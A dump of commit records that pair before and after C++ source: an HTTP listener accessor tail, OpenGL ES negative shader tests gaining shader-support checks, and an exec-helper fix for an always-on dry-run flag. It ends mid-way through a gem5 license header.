handshaking, which takes place *before* processing the HTTP request\n\t\t\tc->start();\n\t}\n}\n\nstd::string HttpListener::address() const\n{\n\treturn address_;\n}\n\nvoid HttpListener::address(const std::string& value)\n{\n\taddress_ = value;\n}\n\nint HttpListener::port() const\n{\n\treturn port_;\n}\n\nvoid HttpListener::port(int value)\n{\n\tport_ = value;\n}\n\nint HttpListener::backlog() const\n{\n\treturn backlog_;\n}\n\nvoid HttpListener::backlog(int value)\n{\n\tbacklog_ = value;\n}\n\n} \/\/ namespace x0\n<|endoftext|>"} {"text":"<commit_before>\/*-------------------------------------------------------------------------\n * drawElements Quality Program OpenGL ES 3.1 Module\n * -------------------------------------------------\n *\n * Copyright 2016 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\/*!\n * \\file\n * \\brief Negative Precise Tests\n *\/\/*--------------------------------------------------------------------*\/\n\n#include \"es31fNegativePreciseTests.hpp\"\n\n#include \"gluShaderProgram.hpp\"\n#include \"glwEnums.hpp\"\n\nnamespace deqp\n{\nnamespace gles31\n{\nnamespace Functional\n{\nnamespace NegativeTestShared\n{\nnamespace\n{\n\nenum TestPrecise\n{\n\tTEST_PRECISE_AS_VARIABLE_NAME = 0,\n\tTEST_PRECISE_AS_FUNCTION_NAME,\n\tTEST_PRECISE_AS_ARGUMENT_NAME,\n\tTEST_PRECISE_AS_MACRO_NAME,\n\tTEST_PRECISE_MACRO_AND_VARIABLE,\n\tTEST_PRECISE_MACRO_AND_FUNCTION,\n\tTEST_PRECISE_MACRO_AND_ARGUMENT,\n\n\tTEST_PRECISE_LAST\n};\n\nstatic const glu::ShaderType s_shaderTypes[] =\n{\n\tglu::SHADERTYPE_VERTEX,\n\tglu::SHADERTYPE_FRAGMENT,\n\tglu::SHADERTYPE_GEOMETRY,\n\tglu::SHADERTYPE_COMPUTE,\n\tglu::SHADERTYPE_TESSELLATION_CONTROL,\n\tglu::SHADERTYPE_TESSELLATION_EVALUATION\n};\n\nstd::string generateShaderSource (NegativeTestContext& ctx, glu::ShaderType shaderType, TestPrecise test)\n{\n\tconst bool\t\t\t\tisES32\t= contextSupports(ctx.getRenderContext().getType(), glu::ApiType::es(3, 2));\n\tconst glu::GLSLVersion\tversion\t= isES32 ? glu::GLSL_VERSION_320_ES : glu::GLSL_VERSION_310_ES;\n\tstd::ostringstream\t\tsource;\n\n\tsource\t<< glu::getGLSLVersionDeclaration(version) << \"\\n\"\n\t\t\t<< (isES32 ? \"\" : \"#extension GL_EXT_gpu_shader5 : enable\\n\");\n\n\tswitch (test)\n\t{\n\t\tcase TEST_PRECISE_AS_MACRO_NAME:\t\tsource << \"#define precise 0\\n\";\t\tbreak;\n\n\t\tcase TEST_PRECISE_MACRO_AND_VARIABLE:\n\t\tcase TEST_PRECISE_MACRO_AND_FUNCTION:\n\t\tcase TEST_PRECISE_MACRO_AND_ARGUMENT:\tsource << \"#define precise aName\\n\";\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\n switch (shaderType)\n {\n case glu::SHADERTYPE_GEOMETRY:\n source << (isES32 ? \"\" : \"#extension GL_EXT_geometry_shader : enable\\n\")\n << \"layout(max_vertices = 5) out;\\n\";\n break;\n\n case glu::SHADERTYPE_TESSELLATION_CONTROL:\n source << (isES32 ? \"\" : \"#extension GL_EXT_tessellation_shader : enable\\n\")\n << \"layout(vertices = 3) out;\\n\";\n break;\n\n case glu::SHADERTYPE_TESSELLATION_EVALUATION:\n source << (isES32 ? \"\" : \"#extension GL_EXT_tessellation_shader : enable\\n\")\n << \"layout(triangles, equal_spacing, cw) in;\\n\";\n break;\n\n default:\n break;\n }\n\n\tswitch (test)\n\t{\n\t\tcase TEST_PRECISE_AS_FUNCTION_NAME:\n\t\tcase TEST_PRECISE_MACRO_AND_FUNCTION:\n\t\t\tsource\t<< \"\\n\"\n\t\t\t\t\t<< \"void precise()\\n\"\n\t\t\t\t\t<< \"{\\n\"\n\t\t\t\t\t<< \"}\\n\";\n\t\t\tbreak;\n\n\t\tcase TEST_PRECISE_AS_ARGUMENT_NAME:\n\t\tcase TEST_PRECISE_MACRO_AND_ARGUMENT:\n\t\t\tsource\t<< \"\\n\"\n\t\t\t\t\t<< \"void example(int precise)\\n\"\n\t\t\t\t\t<< \"{\\n\"\n\t\t\t\t\t<< \"}\\n\";\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\n source << \"void main()\\n\"\n\t\t\t<< \"{\\n\";\n\n\tswitch (test)\n\t{\n\t\tcase TEST_PRECISE_AS_VARIABLE_NAME:\n\t\tcase TEST_PRECISE_MACRO_AND_VARIABLE:\tsource << \"\tint precise = 1;\\n\";\t\tbreak;\n\t\tcase TEST_PRECISE_AS_MACRO_NAME:\t\tsource << \"\tint number = precise;\\n\";\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\n\tsource << \"}\\n\";\n\n\treturn source.str();\n}\n\nvoid generateAndVerifyShader (NegativeTestContext& ctx, glu::ShaderType shaderType, TestPrecise test)\n{\n\tglu::Shader\t\t\tshader\t\t\t(ctx.getRenderContext(), shaderType);\n\tstd::string\t\t\tshaderSource\t= generateShaderSource(ctx, shaderType, test);\n\tconst char* const\tsource\t\t\t= shaderSource.c_str();\n\tconst int\t\t\tlength\t\t\t= (int) shaderSource.size();\n\n\tshader.setSources(1, &source, &length);\n\tshader.compile();\n\n\tctx.getLog() << shader;\n\n\tif (shader.getCompileStatus())\n\t\tctx.fail(\"Shader was not expected to compile.\");\n}\n\nvoid precise_as_variable_name (NegativeTestContext& ctx)\n{\n\tTCU_CHECK_AND_THROW(NotSupportedError,\n\t\tctx.isExtensionSupported(\"GL_EXT_gpu_shader5\") || contextSupports(ctx.getRenderContext().getType(), glu::ApiType::es(3, 2)),\n\t\t\"This test requires support for the extension GL_EXT_gpu_shader5 or context version 3.2 or higher.\");\n\n\tctx.beginSection(\"Test that precise cannot be used as a variable name.\");\n\tfor (int ndx = 0; ndx < DE_LENGTH_OF_ARRAY(s_shaderTypes); ++ndx)\n\t\tgenerateAndVerifyShader(ctx, s_shaderTypes[ndx], TEST_PRECISE_AS_VARIABLE_NAME);\n\tctx.endSection();\n}\n\nvoid precise_as_function_name (NegativeTestContext& ctx)\n{\n\tTCU_CHECK_AND_THROW(NotSupportedError,\n\t\tctx.isExtensionSupported(\"GL_EXT_gpu_shader5\") || contextSupports(ctx.getRenderContext().getType(), glu::ApiType::es(3, 2)),\n\t\t\"This test requires support for the extension GL_EXT_gpu_shader5 or context version 3.2 or higher.\");\n\n\tctx.beginSection(\"Test that precise cannot be used as a function name.\");\n\tfor (int ndx = 0; ndx < DE_LENGTH_OF_ARRAY(s_shaderTypes); ++ndx)\n\t\tgenerateAndVerifyShader(ctx, s_shaderTypes[ndx], TEST_PRECISE_AS_FUNCTION_NAME);\n\tctx.endSection();\n}\n\nvoid precise_as_function_argument (NegativeTestContext& ctx)\n{\n\tTCU_CHECK_AND_THROW(NotSupportedError,\n\t\tctx.isExtensionSupported(\"GL_EXT_gpu_shader5\") || contextSupports(ctx.getRenderContext().getType(), glu::ApiType::es(3, 2)),\n\t\t\"This test requires support for the extension GL_EXT_gpu_shader5 or context version 3.2 or higher.\");\n\n\tctx.beginSection(\"Test that precise cannot be used as a argument name.\");\n\tfor (int ndx = 0; ndx < DE_LENGTH_OF_ARRAY(s_shaderTypes); ++ndx)\n\t\tgenerateAndVerifyShader(ctx, s_shaderTypes[ndx], TEST_PRECISE_AS_ARGUMENT_NAME);\n\tctx.endSection();\n}\n\n} \/\/ anonymous\n\nstd::vector<FunctionContainer> getNegativePreciseTestFunctions (void)\n{\n\tconst FunctionContainer funcs[] =\n\t{\n {precise_as_variable_name,\t\t\t\"precise_as_variable_name\",\t\t\t\"Test precise keyword as variable name.\"\t\t\t},\n {precise_as_function_name,\t\t\t\"precise_as_function_name\",\t\t\t\"Test precise keyword as function name.\"\t\t\t},\n {precise_as_function_argument,\t\t\"precise_as_function_argument\",\t\t\"Test precise keyword as argument name.\"\t\t\t},\n\t};\n\n\treturn std::vector<FunctionContainer>(DE_ARRAY_BEGIN(funcs), DE_ARRAY_END(funcs));\n}\n\n} \/\/ NegativeTestShared\n} \/\/ Functional\n} \/\/ gles31\n} \/\/ deqp\n<commit_msg>Check for shader type support in negative precise tests am: 4a3a2d79a0<commit_after>\/*-------------------------------------------------------------------------\n * drawElements Quality Program OpenGL ES 3.1 Module\n * -------------------------------------------------\n *\n * Copyright 2016 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\/*!\n * \\file\n * \\brief Negative Precise Tests\n *\/\/*--------------------------------------------------------------------*\/\n\n#include \"es31fNegativePreciseTests.hpp\"\n\n#include \"gluShaderProgram.hpp\"\n#include \"glwEnums.hpp\"\n\nnamespace deqp\n{\nnamespace gles31\n{\nnamespace Functional\n{\nnamespace NegativeTestShared\n{\nnamespace\n{\n\nenum TestPrecise\n{\n\tTEST_PRECISE_AS_VARIABLE_NAME = 0,\n\tTEST_PRECISE_AS_FUNCTION_NAME,\n\tTEST_PRECISE_AS_ARGUMENT_NAME,\n\tTEST_PRECISE_AS_MACRO_NAME,\n\tTEST_PRECISE_MACRO_AND_VARIABLE,\n\tTEST_PRECISE_MACRO_AND_FUNCTION,\n\tTEST_PRECISE_MACRO_AND_ARGUMENT,\n\n\tTEST_PRECISE_LAST\n};\n\nstatic const glu::ShaderType s_shaderTypes[] =\n{\n\tglu::SHADERTYPE_VERTEX,\n\tglu::SHADERTYPE_FRAGMENT,\n\tglu::SHADERTYPE_GEOMETRY,\n\tglu::SHADERTYPE_COMPUTE,\n\tglu::SHADERTYPE_TESSELLATION_CONTROL,\n\tglu::SHADERTYPE_TESSELLATION_EVALUATION\n};\n\nstd::string generateShaderSource (NegativeTestContext& ctx, glu::ShaderType shaderType, TestPrecise test)\n{\n\tconst bool\t\t\t\tisES32\t= contextSupports(ctx.getRenderContext().getType(), glu::ApiType::es(3, 2));\n\tconst glu::GLSLVersion\tversion\t= isES32 ? glu::GLSL_VERSION_320_ES : glu::GLSL_VERSION_310_ES;\n\tstd::ostringstream\t\tsource;\n\n\tsource\t<< glu::getGLSLVersionDeclaration(version) << \"\\n\"\n\t\t\t<< (isES32 ? \"\" : \"#extension GL_EXT_gpu_shader5 : enable\\n\");\n\n\tswitch (test)\n\t{\n\t\tcase TEST_PRECISE_AS_MACRO_NAME:\t\tsource << \"#define precise 0\\n\";\t\tbreak;\n\n\t\tcase TEST_PRECISE_MACRO_AND_VARIABLE:\n\t\tcase TEST_PRECISE_MACRO_AND_FUNCTION:\n\t\tcase TEST_PRECISE_MACRO_AND_ARGUMENT:\tsource << \"#define precise aName\\n\";\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\n switch (shaderType)\n {\n case glu::SHADERTYPE_GEOMETRY:\n source << (isES32 ? \"\" : \"#extension GL_EXT_geometry_shader : enable\\n\")\n << \"layout(max_vertices = 5) out;\\n\";\n break;\n\n case glu::SHADERTYPE_TESSELLATION_CONTROL:\n source << (isES32 ? \"\" : \"#extension GL_EXT_tessellation_shader : enable\\n\")\n << \"layout(vertices = 3) out;\\n\";\n break;\n\n case glu::SHADERTYPE_TESSELLATION_EVALUATION:\n source << (isES32 ? \"\" : \"#extension GL_EXT_tessellation_shader : enable\\n\")\n << \"layout(triangles, equal_spacing, cw) in;\\n\";\n break;\n\n default:\n break;\n }\n\n\tswitch (test)\n\t{\n\t\tcase TEST_PRECISE_AS_FUNCTION_NAME:\n\t\tcase TEST_PRECISE_MACRO_AND_FUNCTION:\n\t\t\tsource\t<< \"\\n\"\n\t\t\t\t\t<< \"void precise()\\n\"\n\t\t\t\t\t<< \"{\\n\"\n\t\t\t\t\t<< \"}\\n\";\n\t\t\tbreak;\n\n\t\tcase TEST_PRECISE_AS_ARGUMENT_NAME:\n\t\tcase TEST_PRECISE_MACRO_AND_ARGUMENT:\n\t\t\tsource\t<< \"\\n\"\n\t\t\t\t\t<< \"void example(int precise)\\n\"\n\t\t\t\t\t<< \"{\\n\"\n\t\t\t\t\t<< \"}\\n\";\n\t\t\tbreak;\n\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\n source << \"void main()\\n\"\n\t\t\t<< \"{\\n\";\n\n\tswitch (test)\n\t{\n\t\tcase TEST_PRECISE_AS_VARIABLE_NAME:\n\t\tcase TEST_PRECISE_MACRO_AND_VARIABLE:\tsource << \"\tint precise = 1;\\n\";\t\tbreak;\n\t\tcase TEST_PRECISE_AS_MACRO_NAME:\t\tsource << \"\tint number = precise;\\n\";\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\n\tsource << \"}\\n\";\n\n\treturn source.str();\n}\n\nvoid generateAndVerifyShader (NegativeTestContext& ctx, glu::ShaderType shaderType, TestPrecise test)\n{\n\tglu::Shader\t\t\tshader\t\t\t(ctx.getRenderContext(), shaderType);\n\tstd::string\t\t\tshaderSource\t= generateShaderSource(ctx, shaderType, test);\n\tconst char* const\tsource\t\t\t= shaderSource.c_str();\n\tconst int\t\t\tlength\t\t\t= (int) shaderSource.size();\n\n\tshader.setSources(1, &source, &length);\n\tshader.compile();\n\n\tctx.getLog() << shader;\n\n\tif (shader.getCompileStatus())\n\t\tctx.fail(\"Shader was not expected to compile.\");\n}\n\nvoid precise_as_variable_name (NegativeTestContext& ctx)\n{\n\tTCU_CHECK_AND_THROW(NotSupportedError,\n\t\tctx.isExtensionSupported(\"GL_EXT_gpu_shader5\") || contextSupports(ctx.getRenderContext().getType(), glu::ApiType::es(3, 2)),\n\t\t\"This test requires support for the extension GL_EXT_gpu_shader5 or context version 3.2 or higher.\");\n\n\tctx.beginSection(\"Test that precise cannot be used as a variable name.\");\n\tfor (int ndx = 0; ndx < DE_LENGTH_OF_ARRAY(s_shaderTypes); ++ndx)\n\t{\n\t\tif (ctx.isShaderSupported(s_shaderTypes[ndx]))\n\t\t\tgenerateAndVerifyShader(ctx, s_shaderTypes[ndx], TEST_PRECISE_AS_VARIABLE_NAME);\n\t}\n\tctx.endSection();\n}\n\nvoid precise_as_function_name (NegativeTestContext& ctx)\n{\n\tTCU_CHECK_AND_THROW(NotSupportedError,\n\t\tctx.isExtensionSupported(\"GL_EXT_gpu_shader5\") || contextSupports(ctx.getRenderContext().getType(), glu::ApiType::es(3, 2)),\n\t\t\"This test requires support for the extension GL_EXT_gpu_shader5 or context version 3.2 or higher.\");\n\n\tctx.beginSection(\"Test that precise cannot be used as a function name.\");\n\tfor (int ndx = 0; ndx < DE_LENGTH_OF_ARRAY(s_shaderTypes); ++ndx)\n\t{\n\t\tif (ctx.isShaderSupported(s_shaderTypes[ndx]))\n\t\t\tgenerateAndVerifyShader(ctx, s_shaderTypes[ndx], TEST_PRECISE_AS_FUNCTION_NAME);\n\t}\n\tctx.endSection();\n}\n\nvoid precise_as_function_argument (NegativeTestContext& ctx)\n{\n\tTCU_CHECK_AND_THROW(NotSupportedError,\n\t\tctx.isExtensionSupported(\"GL_EXT_gpu_shader5\") || contextSupports(ctx.getRenderContext().getType(), glu::ApiType::es(3, 2)),\n\t\t\"This test requires support for the extension GL_EXT_gpu_shader5 or context version 3.2 or higher.\");\n\n\tctx.beginSection(\"Test that precise cannot be used as a argument name.\");\n\tfor (int ndx = 0; ndx < DE_LENGTH_OF_ARRAY(s_shaderTypes); ++ndx)\n\t{\n\t\tif (ctx.isShaderSupported(s_shaderTypes[ndx]))\n\t\t\tgenerateAndVerifyShader(ctx, s_shaderTypes[ndx], TEST_PRECISE_AS_ARGUMENT_NAME);\n\t}\n\tctx.endSection();\n}\n\n} \/\/ anonymous\n\nstd::vector<FunctionContainer> getNegativePreciseTestFunctions (void)\n{\n\tconst FunctionContainer funcs[] =\n\t{\n {precise_as_variable_name,\t\t\t\"precise_as_variable_name\",\t\t\t\"Test precise keyword as variable name.\"\t\t\t},\n {precise_as_function_name,\t\t\t\"precise_as_function_name\",\t\t\t\"Test precise keyword as function name.\"\t\t\t},\n {precise_as_function_argument,\t\t\"precise_as_function_argument\",\t\t\"Test precise keyword as argument name.\"\t\t\t},\n\t};\n\n\treturn std::vector<FunctionContainer>(DE_ARRAY_BEGIN(funcs), DE_ARRAY_END(funcs));\n}\n\n} \/\/ NegativeTestShared\n} \/\/ Functional\n} \/\/ gles31\n} \/\/ deqp\n<|endoftext|>"} {"text":"<commit_before>#include \"execHelperOptions.h\"\n\n#include <iostream>\n#include <string>\n#include <assert.h>\n\n#include \"log\/log.h\"\n#include \"yaml\/yaml.h\"\n#include \"config\/settingsNode.h\"\n#include \"executorInterface.h\"\n#include \"pattern.h\"\n#include \"patternsHandler.h\"\n\nusing std::cout;\nusing std::endl;\nusing std::string;\nusing std::vector;\nusing std::shared_ptr;\nusing std::make_shared;\n\nusing boost::program_options::variables_map;\n\nusing execHelper::core::CommandCollection;\n\nusing execHelper::config::SettingsNode;\n\nusing execHelper::yaml::Yaml;\nusing execHelper::yaml::YamlFile;\n\nnamespace execHelper { namespace core {\n ExecHelperOptions::ExecHelperOptions() noexcept :\n m_verbose(false),\n m_singleThreaded(false),\n m_executor(0)\n {\n ;\n }\n\n ExecHelperOptions::ExecHelperOptions(const ExecHelperOptions& other) noexcept :\n m_verbose(other.m_verbose),\n m_singleThreaded(other.m_singleThreaded),\n m_settings(other.m_settings),\n m_executor(other.m_executor)\n {\n ;\n }\n\n bool ExecHelperOptions::operator==(const ExecHelperOptions& other) const noexcept {\n return ( \n m_verbose == other.m_verbose &&\n m_singleThreaded == other.m_singleThreaded &&\n m_settings == other.m_settings &&\n m_patternsHandler == other.m_patternsHandler &&\n m_executor == other.m_executor\n );\n }\n\n bool ExecHelperOptions::operator!=(const ExecHelperOptions& other) const noexcept {\n return !(*this == other);\n }\n\n bool ExecHelperOptions::getVerbosity() const noexcept {\n return m_verbose;\n }\n\n bool ExecHelperOptions::getDryRun() const noexcept {\n return m_dryRun;\n }\n\n bool ExecHelperOptions::getSingleThreaded() const noexcept {\n return m_singleThreaded;\n }\n\n const CommandCollection& ExecHelperOptions::getCommands() const noexcept {\n return m_commands;\n }\n\n string ExecHelperOptions::getSettingsFile(int argc, const char* const * argv) const noexcept {\n variables_map optionsMap = m_optionsDescriptions.getOptionsMap(argc, argv, true);\n if(optionsMap.count(\"settings-file\")) {\n return optionsMap[\"settings-file\"].as<string>();\n }\n return \".exec-helper\";\n }\n\n bool ExecHelperOptions::parse(int argc, const char* const * argv) {\n m_optionsMap = m_optionsDescriptions.getOptionsMap(argc, argv);\n if(m_optionsMap.count(\"verbose\")) {\n m_verbose = true;\n }\n\n if(m_optionsMap.count(\"single-threaded\")) {\n m_singleThreaded = true;\n }\n\n if(m_optionsMap.count(\"command\")) {\n m_commands.clear();\n m_commands = m_optionsMap[\"command\"].as<CommandCollection>();\n }\n\n return true;\n }\n\n bool ExecHelperOptions::parseSettingsFile(const std::string& file) noexcept {\n YamlFile yamlFile;\n yamlFile.file = file;\n Yaml yaml(yamlFile);\n if(! yaml.getTree({}, m_settings)) {\n LOG(\"Could not get settings tree\");\n return false;\n }\n\n static const string patternsKey(\"patterns\");\n if(m_settings.contains(patternsKey)) {\n for(const auto& pattern : m_settings[patternsKey].m_values) {\n PatternKey key = pattern.m_key;\n PatternValues defaultValues;\n for(const auto& defaultValue : pattern[\"default-values\"].toStringCollection()) {\n defaultValues.push_back(defaultValue);\n }\n static const string shortOptionKey(\"short-option\");\n string shortOptionString;\n if(pattern.contains(shortOptionKey)) {\n shortOptionString = pattern[shortOptionKey].m_values.back().m_key;\n }\n char shortOption = '\\0';\n if(shortOptionString.size() > 0) {\n shortOption = shortOptionString.at(0);\n }\n\n static const string longOptionKey(\"long-option\");\n string longOption;\n if(pattern.contains(longOptionKey)) {\n longOption = pattern[longOptionKey].m_values.back().m_key;\n }\n\n m_patternsHandler.addPattern(Pattern(key, defaultValues, shortOption, longOption));\n string option = longOption + \",\" + shortOptionString;\n string explanation = string(\"Values for pattern '\") + key + \"'\";\n m_optionsDescriptions.addOption<PatternValues>(option, explanation, true);\n }\n }\n return true;\n }\n\n bool ExecHelperOptions::containsHelp() const noexcept {\n return (m_optionsMap.count(\"help\") > 0U);\n }\n\n const config::SettingsNode& ExecHelperOptions::getSettings() const noexcept {\n return m_settings;\n }\n\n const config::SettingsNode& ExecHelperOptions::getSettings(const std::string& key) noexcept {\n if(m_settings.contains(key)) {\n return m_settings[key]; \n }\n return m_settings;\n }\n\n const config::SettingsNode& ExecHelperOptions::getSettings(const std::string& key) const noexcept {\n if(m_settings.contains(key)) {\n return m_settings[key]; \n }\n return m_settings;\n }\n\n\n void ExecHelperOptions::setExecutor(ExecutorInterface* const executor) noexcept {\n m_executor = executor;\n }\n\n ExecutorInterface* ExecHelperOptions::getExecutor() const noexcept {\n assert(m_executor != 0);\n return m_executor;\n }\n\n void ExecHelperOptions::printHelp() const noexcept {\n user_feedback(m_optionsDescriptions.getOptionDescriptions());\n }\n\n bool ExecHelperOptions::contains(const std::string& longOptions) const noexcept {\n return m_optionsMap.count(longOptions) > 0;\n }\n\n vector<string> ExecHelperOptions::getLongOption(const std::string& longOptions) const noexcept {\n return m_optionsMap[longOptions].as<vector<string>>();\n }\n\n const PatternsHandler& ExecHelperOptions::getPatternsHandler() const noexcept {\n return m_patternsHandler;\n }\n\n PatternValues ExecHelperOptions::getValues(const Pattern& pattern) const noexcept {\n string longOption = pattern.getLongOption();\n if(contains(longOption)) {\n return getLongOption(longOption);\n }\n return pattern.getDefaultValues();\n }\n\n PatternPermutator ExecHelperOptions::makePatternPermutator(const PatternKeys& patterns) const noexcept {\n std::map<core::PatternKey, core::PatternValues> patternValuesMatrix;\n for(const auto& patternKey : patterns) {\n core::Pattern pattern = m_patternsHandler.getPattern(patternKey);\n PatternValues commandlineValues = getValues(pattern);\n patternValuesMatrix.emplace(pattern.getKey(), commandlineValues);\n }\n return core::PatternPermutator(patternValuesMatrix);\n }\n} }\n<commit_msg>Fixed issue where everything got dry-runned all the time<commit_after>#include \"execHelperOptions.h\"\n\n#include <iostream>\n#include <string>\n#include <assert.h>\n\n#include \"log\/log.h\"\n#include \"yaml\/yaml.h\"\n#include \"config\/settingsNode.h\"\n#include \"executorInterface.h\"\n#include \"pattern.h\"\n#include \"patternsHandler.h\"\n\nusing std::cout;\nusing std::endl;\nusing std::string;\nusing std::vector;\nusing std::shared_ptr;\nusing std::make_shared;\n\nusing boost::program_options::variables_map;\n\nusing execHelper::core::CommandCollection;\n\nusing execHelper::config::SettingsNode;\n\nusing execHelper::yaml::Yaml;\nusing execHelper::yaml::YamlFile;\n\nnamespace execHelper { namespace core {\n ExecHelperOptions::ExecHelperOptions() noexcept :\n m_verbose(false),\n m_dryRun(false),\n m_singleThreaded(false),\n m_executor(0)\n {\n ;\n }\n\n ExecHelperOptions::ExecHelperOptions(const ExecHelperOptions& other) noexcept :\n m_verbose(other.m_verbose),\n m_dryRun(other.m_dryRun),\n m_singleThreaded(other.m_singleThreaded),\n m_settings(other.m_settings),\n m_executor(other.m_executor)\n {\n ;\n }\n\n bool ExecHelperOptions::operator==(const ExecHelperOptions& other) const noexcept {\n return ( \n m_verbose == other.m_verbose &&\n m_dryRun == other.m_dryRun &&\n m_singleThreaded == other.m_singleThreaded &&\n m_settings == other.m_settings &&\n m_patternsHandler == other.m_patternsHandler &&\n m_executor == other.m_executor\n );\n }\n\n bool ExecHelperOptions::operator!=(const ExecHelperOptions& other) const noexcept {\n return !(*this == other);\n }\n\n bool ExecHelperOptions::getVerbosity() const noexcept {\n return m_verbose;\n }\n\n bool ExecHelperOptions::getDryRun() const noexcept {\n return m_dryRun;\n }\n\n bool ExecHelperOptions::getSingleThreaded() const noexcept {\n return m_singleThreaded;\n }\n\n const CommandCollection& ExecHelperOptions::getCommands() const noexcept {\n return m_commands;\n }\n\n string ExecHelperOptions::getSettingsFile(int argc, const char* const * argv) const noexcept {\n variables_map optionsMap = m_optionsDescriptions.getOptionsMap(argc, argv, true);\n if(optionsMap.count(\"settings-file\")) {\n return optionsMap[\"settings-file\"].as<string>();\n }\n return \".exec-helper\";\n }\n\n bool ExecHelperOptions::parse(int argc, const char* const * argv) {\n m_optionsMap = m_optionsDescriptions.getOptionsMap(argc, argv);\n if(m_optionsMap.count(\"verbose\")) {\n m_verbose = true;\n }\n\n if(m_optionsMap.count(\"dry-run\")) {\n m_dryRun = true;\n }\n\n if(m_optionsMap.count(\"single-threaded\")) {\n m_singleThreaded = true;\n }\n\n if(m_optionsMap.count(\"command\")) {\n m_commands.clear();\n m_commands = m_optionsMap[\"command\"].as<CommandCollection>();\n }\n\n return true;\n }\n\n bool ExecHelperOptions::parseSettingsFile(const std::string& file) noexcept {\n YamlFile yamlFile;\n yamlFile.file = file;\n Yaml yaml(yamlFile);\n if(! yaml.getTree({}, m_settings)) {\n LOG(\"Could not get settings tree\");\n return false;\n }\n\n static const string patternsKey(\"patterns\");\n if(m_settings.contains(patternsKey)) {\n for(const auto& pattern : m_settings[patternsKey].m_values) {\n PatternKey key = pattern.m_key;\n PatternValues defaultValues;\n for(const auto& defaultValue : pattern[\"default-values\"].toStringCollection()) {\n defaultValues.push_back(defaultValue);\n }\n static const string shortOptionKey(\"short-option\");\n string shortOptionString;\n if(pattern.contains(shortOptionKey)) {\n shortOptionString = pattern[shortOptionKey].m_values.back().m_key;\n }\n char shortOption = '\\0';\n if(shortOptionString.size() > 0) {\n shortOption = shortOptionString.at(0);\n }\n\n static const string longOptionKey(\"long-option\");\n string longOption;\n if(pattern.contains(longOptionKey)) {\n longOption = pattern[longOptionKey].m_values.back().m_key;\n }\n\n m_patternsHandler.addPattern(Pattern(key, defaultValues, shortOption, longOption));\n string option = longOption + \",\" + shortOptionString;\n string explanation = string(\"Values for pattern '\") + key + \"'\";\n m_optionsDescriptions.addOption<PatternValues>(option, explanation, true);\n }\n }\n return true;\n }\n\n bool ExecHelperOptions::containsHelp() const noexcept {\n return (m_optionsMap.count(\"help\") > 0U);\n }\n\n const config::SettingsNode& ExecHelperOptions::getSettings() const noexcept {\n return m_settings;\n }\n\n const config::SettingsNode& ExecHelperOptions::getSettings(const std::string& key) noexcept {\n if(m_settings.contains(key)) {\n return m_settings[key]; \n }\n return m_settings;\n }\n\n const config::SettingsNode& ExecHelperOptions::getSettings(const std::string& key) const noexcept {\n if(m_settings.contains(key)) {\n return m_settings[key]; \n }\n return m_settings;\n }\n\n\n void ExecHelperOptions::setExecutor(ExecutorInterface* const executor) noexcept {\n m_executor = executor;\n }\n\n ExecutorInterface* ExecHelperOptions::getExecutor() const noexcept {\n assert(m_executor != 0);\n return m_executor;\n }\n\n void ExecHelperOptions::printHelp() const noexcept {\n user_feedback(m_optionsDescriptions.getOptionDescriptions());\n }\n\n bool ExecHelperOptions::contains(const std::string& longOptions) const noexcept {\n return m_optionsMap.count(longOptions) > 0;\n }\n\n vector<string> ExecHelperOptions::getLongOption(const std::string& longOptions) const noexcept {\n return m_optionsMap[longOptions].as<vector<string>>();\n }\n\n const PatternsHandler& ExecHelperOptions::getPatternsHandler() const noexcept {\n return m_patternsHandler;\n }\n\n PatternValues ExecHelperOptions::getValues(const Pattern& pattern) const noexcept {\n string longOption = pattern.getLongOption();\n if(contains(longOption)) {\n return getLongOption(longOption);\n }\n return pattern.getDefaultValues();\n }\n\n PatternPermutator ExecHelperOptions::makePatternPermutator(const PatternKeys& patterns) const noexcept {\n std::map<core::PatternKey, core::PatternValues> patternValuesMatrix;\n for(const auto& patternKey : patterns) {\n core::Pattern pattern = m_patternsHandler.getPattern(patternKey);\n PatternValues commandlineValues = getValues(pattern);\n patternValuesMatrix.emplace(pattern.getKey(), commandlineValues);\n }\n return core::PatternPermutator(patternValuesMatrix);\n }\n} }\n<|endoftext|>"} {"text":"<commit_before><commit_msg>perception:io_util add range check<commit_after><|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2015 ARM Limited\n * All rights reserved\n *\n * The license below extends only to copyright in the software and shall\n * not be construed as granting a license to any other intellectual\n * property including but not limited to intellectual property relating\n * to a hardware implementation of the functionality of the software\n * licensed hereunder. You may use the software subject to the license\n * terms below provided that you ensure that this notice is replicated\n * unmodified and in its entirety in all distributions of the software,\n * modified or unmodified, in source code or in binary form.\n *\n * Copyright (c) 2002-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE 